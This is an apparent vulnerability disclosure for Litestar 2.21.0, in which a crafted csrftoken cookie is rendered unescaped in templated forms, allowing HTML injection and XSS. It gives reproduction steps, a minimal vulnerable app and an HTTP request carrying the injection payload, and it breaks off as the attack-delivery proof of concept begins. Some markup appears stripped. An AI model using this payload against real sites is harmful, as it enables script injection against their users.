Litestar has HTML Injection Through its CSRF Token # Overview Litestar instances which use a template engine in conjunction with CSRF protection are vulnerable to HTML Injection which can be escalated to Cross Site Scripting due to the contents of the CSRF cookie being excluded from automatic escaping by the template engine when configured inline with documentation recommendations. We used the latest Litestar version available via PyPI for this disclosure. At the time of writing, that is version 2.21.0 and we have not validated this against the current latest commit on the main branch. # Special Configurations Required For a web application to be vulnerable to this issue, it must: - Use templates to render the content which is returned to the user (e.g. Jinja, Mako, MiniJinja) - Have CSRF protection enabled - Have CSRF inputs enabled (i.e. a hidden form field which contains the CSRF token) **Links to relevant documentation for the above configurations:** - https://docs.litestar.dev/2/usage/templating.html - https://docs.litestar.dev/latest/usage/middleware/builtin-middleware.html#csrf - https://docs.litestar.dev/latest/usage/templating.html#adding-csrf-inputs # Reproduction Steps 1. Visit an application which contains a form, uses templating, has CSRF protection enabled, and which inserts the CSRF token as a hidden `input` field on forms. A proof of concept application demonstrating this configuration is included later in this disclosure for ease of reproduction. 2. Observe that the server sets the `csrftoken` cookie when the page loads. 3. Set the value of the `csrftoken` cookie to `">

HTML Injection Test

`. 4. Refresh the page. 5. Observe that the contents of the cookie is rendered on the page. # Exploit Code There are two Proof-of-Concepts (PoC) included here. The first demonstrates that arbitrary HTML is injected into the page when the user supplies a malicious `csrftoken` cookie. The second demonstrates how an attacker could deliver an attack using the vulnerability to an unsuspecting user. The proof-of-concept applications can be started using these commands: ```bash # run poc1 python -m uvicorn poc1:app # run poc2 python -m uvicorn poc2:app ``` ## PoC 1 - Minimum Vulnerable Application This proof-of-concept demonstrates that a crafted `csrftoken` cookie will be rendered on the vulnerable page as HTML. **poc1.py** ```python from litestar import Litestar, get, MediaType from litestar.response import Template from litestar.config.csrf import CSRFConfig import jinja2, os from pathlib import Path from litestar import Litestar from litestar.contrib.jinja import JinjaTemplateEngine from litestar.template.config import TemplateConfig @get("/") async def hello_world() -> Template: return Template( template_name="test.jinja", media_type=MediaType.HTML, ) ENVIRONMENT = jinja2.Environment( loader=jinja2.FileSystemLoader( searchpath=os.path.join(os.path.dirname(__file__), "templates") ), autoescape=True, ) csrf_config = CSRFConfig(secret="my_super_duper_secret") app = Litestar( route_handlers=[hello_world], template_config=TemplateConfig( directory=Path("templates"), engine=JinjaTemplateEngine.from_environment(ENVIRONMENT), ), csrf_config=csrf_config, ) ``` **test.jinja** ```html ``` Sending the following request to the vulnerable page will result in the HTML included in the `csrftoken` cookie being injected and rendered on the page. ```http GET /vulnerable HTTP/1.1 Host: localhost:8000 Cookie: csrftoken=">

HTML Injection Test

``` ## PoC 2 - Simulated Attack Delivery This proof-of-concept demonstrates how an attacker could deliver an attack using this vulnerability to an unsuspecting user. We are using this example as it provides for easy local reproduction, it is possible that in end applications there